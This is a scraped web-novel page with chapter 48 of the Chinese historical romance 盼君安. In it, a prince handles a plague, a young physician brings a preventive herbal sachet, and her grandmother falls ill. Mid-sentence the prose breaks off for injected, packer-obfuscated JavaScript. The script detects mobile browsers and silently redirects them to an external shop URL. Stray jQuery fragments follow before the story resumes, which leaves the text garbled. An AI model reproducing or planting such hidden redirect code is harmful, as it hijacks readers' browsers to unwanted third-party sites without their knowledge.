文趣网 > 其他小说 > 盼君安 > 48. 第48章老夫人病重
    刘羡理解常任引的未尽之意,他转身看向城内,鳞次栉比的房屋整齐有序排列着,远处尽头便是富丽堂皇的宫殿,若是从前街道怕是人声鼎沸,此时的街道除了巡逻的将士外空无一人,恰巧又到了午膳时辰,各家各户炊烟袅袅,纵然有瘟疫在城里肆虐,依旧挡不住这人间烟火,刘羡决不允许有人毁了它。

    刘羡道:“城内王公贵族每个人的府库之中,皆有存粮,你带人去挨家挨户的借,许诺瘟疫结束后再归还。”

    常任引迟疑半晌道:“若他们不愿意怎么办?”

    “常大人,非常时刻,要用非常手段,这样的道理需要本王来教你吗?你也是老臣,该怎么做,常大人想来心中明白。”

    常任引心下自思,东海王也不像表面上风光霁月,这一举动是在逼他得罪所有的王公贵族啊,这下真上了贼船。如今生死关头,顾不上许多,得罪就得罪吧。

    常任引领命自去了。

    这一招也只能暂且缓解存粮压力,再者逼急了他们也不行,症结还是在梁氏身上。

    刘羡思索片刻,吩咐江岭:“这会儿梁府主人们出城避祸,皆不在府内,你去梁府上走一趟,看看有没有什么把柄线索。”

    “是。”江岭领命而去。

    回到东海王府,刘羡沾上床倒下睡了过去。

    等再次醒来,侧头看到一个黑黑圆圆的发顶对着他,原来是邓瑧背靠床沿坐在脚踏上拿着一本医书在看。

    “瑧儿。”

    邓瑧听到声音转过去,看到刘羡醒了笑颜逐开:“你醒了,怎么样?身体还累不累?我听泰和、江岭说你三天三夜没有合过眼。”

    “无妨,睡了一觉好多了。我睡了多久了?”

    “一天一夜了。”

    邓瑧会在这里看书,看来怕是看他睡太久了,放心不下,才一直守着自己。

    “我没事,你不用担心了。”

    邓瑧瞪了刘羡一眼,气道:“你就是有事也不会跟我说。”

    说罢,从被窝里掏出刘羡的手,给他诊脉,确定他无误后,才安心。

    刘羡被封东海王以来,其他人捧着敬着,今日还是头一回,被一个小丫头训。他伸手捏了捏邓瑧脸颊,逗她:“瑧儿可真是恃宠而骄,还没人敢跟我这样说话。”

    邓瑧拍开他的手,下巴微微抬起,像是骄傲的小公鸡:“那你以后可要习惯了,要是下次还不好好照顾好自己的身体,我还是会凶你的。”

    看到邓瑧娇嗔的模样,刘羡忍不住伸出双手把眼前的人揽入怀中,脑袋枕在邓瑧的胳膊上,深吸一口气,又长长的呼出,仅剩的那点疲倦彻底烟消云散,瑧儿和百姓一样是他心中的柱石。

    邓瑧也双手回抱刘羡,她只希望能陪在刘羡身边,看着他平平安安就好。

    两人腻歪了一会儿,刘羡问道:“邓家如何?你怎么过来了?”

    “万幸,家里目前还无人染病。”邓瑧简单的交代了邓家情况,从袖子里拿出一个药囊放在刘羡手中,让他看看,又道:“这是玉符医馆的白大夫领着其他大夫研制出来的预防瘟疫的药囊,我让邓家人试过,确认这个药囊可以预防瘟疫,需要十天换一次。不过药囊也不是万能的,只能减少传染的几率,并不能彻底防住。”

    先前邓瑧给邓家人用的,只是普通的防疫药囊,这个是白蔹针对此次瘟疫研究出来的新药囊,效果更好。

    闻言,刘羡惊喜的拿着药囊左看右看,又闻了闻味道,他对药理一窍不通,但邓瑧既然这样说,定然是有效果的。他笑道:“玉符医馆竟还隐藏了这样的人才。”

    刘羡叫泰和进来伺候自己梳洗,又派人去宫里请刘太医。

    等刘羡带着邓瑧从卧房出来,刘太医也恰好来了府上。

    皇帝出城时,将太医署的太医令以及几位医术精湛的太医带走了,将太医署的其余太医交付给刘太医,刘太医五十多岁的人,最近也是忙的脚不沾地,要在宫中照看太子,又要研究治疗瘟疫的方法,还要和民间郎中一起探讨。

    现在被东海王叫到府上,还以为东海王染病了,着急忙慌的赶过来,一看东海王脸色红润,不像是染上瘟疫的模样,又见他身边还跟着个小美人,定睛一看是邓家丫头,邓瑧常往太医署去,与太医署的太医混熟了,他也没有计较为何邓瑧会在东海王府。自己分身乏术,还被东海王传召,情急之中抱怨两句:“殿下,微臣瞧您好好的,微臣正忙着,您传召微臣来有何要事?”

    刘羡没有计较刘太医的态度,把药囊交给刘太医:“你看看这个药囊,预防瘟疫如何?”

    刘太医闻了闻,又拆看倒出里面的药材看了看,喜出望外,“这个药囊好,而且里面一味防瘟疫的药材连我也没有想到,想法奇妙,医术天赋极高,不知出自哪位杏林圣手?”

    邓瑧接过话道:“是玉符医馆的一位大夫,她是我朋友。”邓瑧隐去她与玉符医馆真正的关系。

    “不知邓姑娘是否愿意为在下引荐这位大夫?”刘太医态度谦逊。

    “好,等会儿您随我同去。”邓瑧爽快的答应下来。

    “刘太医回宫后,派人制作出来一批药囊,首先分给大夫和巡逻的士兵,逐渐分给其他人。”

    “是,微臣遵命。”刘太医道。

    刘羡问起了太子的状况,太子自染上瘟疫后,刘羡前去探望过几回,只是太子昏昏沉沉的,不甚清醒。

    刘太医道:“有太医署的医丞精心照看,目前状况还算稳定。”

    “太子便托付给你们,务必要尽心治疗,保住太子的性命。”刘羡叮嘱了几句,他心里虽有别的想法,终究与太子一起长大的兄弟情分,刘羡不忍太子骤然死在瘟疫之中。

    “是,微臣等尽心竭力。”刘太医道。

    又与刘太医说了几句,让他自己忙去,刘太医先与邓瑧至玉符医馆,见到制作药囊的白蔹,才知道是位女大夫。

    刘太医目露赞赏之意,笑道:“白大夫巾帼不让须眉,年纪小,医术高深,让我等添居太医之位的人着实汗颜。”

    太医署原本集聚大虞顶尖大夫,刘太医更是太医署翘楚,医术自不必说,这会儿遇到白蔹,两人仿佛遇到知音一般,相见恨晚,狂热的讨

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940637|213906||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    论针对瘟疫的方法,刘太医至晚间方回宫中,白蔹聊了这么久也不觉得疲惫,又投入病人和药材之中。

    邓瑧心下感叹,这两人怕不是要走火入魔了。

    这时候红渠匆匆赶来,急切道:“小姐,老夫人病倒,府医诊断有可能是瘟疫,请您快些回去。”

    “祖母怎么会染上瘟疫?”

    邓瑧急匆匆的往家里去。

    回到府上,直奔延寿堂去,延寿堂原是邓家最热闹的院子,此刻静悄悄,院子外面也只有楚芸和邓璃二人,邓璃见到邓瑧,仿佛见到了主心骨一般:“姐姐,祖母病了。”

    邓瑧将两个药囊塞给楚芸和邓璃,叮嘱道:“二叔母以后不要再来延寿堂,您顾及祖母,顾及孝道,也得顾及璃儿。二叔母身体本就孱弱,比旁人更易染病,您又与璃儿同住一个院子,一旦染病,璃儿也将难以幸免。”

    老夫人年纪大了,楚芸放心不下,邓瑧的一番话也有道理,只好带着邓璃先回去。

    推进房门,屋内只有吴嬷嬷和府医在,二人带着障面。

    吴嬷嬷见到邓瑧来了,拉着邓瑧抽抽噎噎的哭:“小姐,您快去看看老夫人。”

    邓瑧先给老夫人看诊,须臾功夫,确诊祖母病症是瘟疫无疑,邓瑧心往下沉,祖母年迈,近日又心绪不佳,这瘟疫来势汹汹,她心里没底,不知道祖母是否能挺过这关。

    匆忙之中,邓瑧将白蔹研究的最新药方给府医:“你先去煎药,祖母交给我照看。”

    “是,小姐。”府医带着药方下去。

    邓瑧先给老夫人施针,老夫人还未清醒,昏昏沉沉的躺着。

    府上人口众多,邓瑧已吩咐仆从每日打扫,院子三日撒一次石灰防瘟疫,祖母年纪大,二叔母又身体弱,这两处的院子,邓瑧更是精心看顾,隔上一次亲自查看诊过脉才放心。好端端的祖母怎么会染上瘟疫,二叔母比祖母身体还弱,刚在外间瞧见,并无染病的迹象,邓瑧不解的问吴嬷嬷:“嬷嬷,祖母是接触了什么人吗?怎么会染上瘟疫。”

    吴嬷嬷想了想,语气疑惑道:“这些时候听大小姐的安排,为了老夫人的安全着想,老奴严控延寿堂人员进出,并无接触什么人?”

    “吴嬷嬷再好好想想,若无病原接触,按理来说,祖母患病的概率极小。”

    吴嬷嬷又将这几日出入延寿堂的人员在脑海中筛查一遍,道:“昨天晚间,三老爷来探望老夫人。”

    “三叔怎么会来延寿堂?他出门在外,接触的人员又杂,我已吩咐三叔是最不能接触延寿堂的人员之一,为何不听我的安排?”邓瑧心绪起伏不定,气的质问吴嬷嬷。

    吴嬷嬷叹气,犹豫半晌道:“大小姐你也知道,自二老爷抛下一家子去后,老夫人精神便不太好,三老爷也是孝顺,估摸是听三夫人提到老夫人不思饮食,昨日特意前来探望。”

    是不是孝顺,邓瑧不好妄加评断,以他对三叔的了解,孝顺也有,更多的还是试探老夫人的身体状况,以及私库的安排。

    现祖母躺着不省人事,邓瑧不愿多说,以免使祖母伤怀,加重病情。